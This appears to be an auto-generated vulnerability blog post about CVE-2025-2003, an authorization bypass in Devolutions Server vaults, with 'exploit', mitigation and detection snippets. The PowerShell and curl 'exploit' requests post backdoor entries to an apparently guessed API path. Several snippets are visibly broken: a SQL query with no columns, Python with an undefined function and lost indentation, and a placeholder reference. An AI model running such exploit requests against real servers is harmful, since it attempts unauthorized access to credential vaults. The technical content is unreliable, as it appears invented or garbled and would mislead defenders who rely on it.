Devolutions Server, Authorization Bypass, CVE-2025-2003 (Critical)

Listen to this Post

How the CVE Works:

CVE-2025-2003 exploits an incorrect authorization flaw in Devolutions Server (2024.3.12 and earlier). The PAM (Privileged Access Management) vaults improperly validate user permissions, allowing authenticated attackers to bypass the “add in root” restriction. By manipulating vault access requests, an attacker can escalate privileges, inject malicious entries, or compromise sensitive credentials stored in root-level vaults. The vulnerability stems from missing server-side permission checks during vault modification operations.

DailyCVE Form:

Platform: Devolutions Server
Version: <=2024.3.12
Vulnerability: Auth bypass
Severity: Critical
Date: 03/28/2025

What Undercode Say:

Exploit:

1. Privilege Escalation:

Simulate vault access request
$vaultAPI = "https://target.server/api/vaults/root/add"
$payload = @{ "entry" = "malicious_creds"; "user" = "attacker" }
Invoke-RestMethod -Uri $vaultAPI -Method Post -Body $payload -Credential (Get-Credential)

2. Exploit via cURL:

curl -X POST -d '{"entry":"backdoor","user":"lowpriv"}' -H "Authorization: Bearer <JWT>" https://server/api/vaults/root/add

Mitigation:

1. Patch: Upgrade to Devolutions Server 2024.3.13+.

2. Workaround:

-- Audit vault permissions
SELECT FROM vault_permissions WHERE permission = 'add_in_root';

3. Network Controls:

Block suspicious API calls
iptables -A INPUT -p tcp --dport 443 -m string --algo bm --string "POST /api/vaults/root" -j DROP

Detection:

Log analysis script
import re
logs = open("/var/log/devolutions/server.log").read()
if re.search(r"Unauthorized root vault add attempt", logs):
alert("CVE-2025-2003 exploit detected")

References:

  • Devolutions Advisory: [bash]
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-2003

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-2003
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top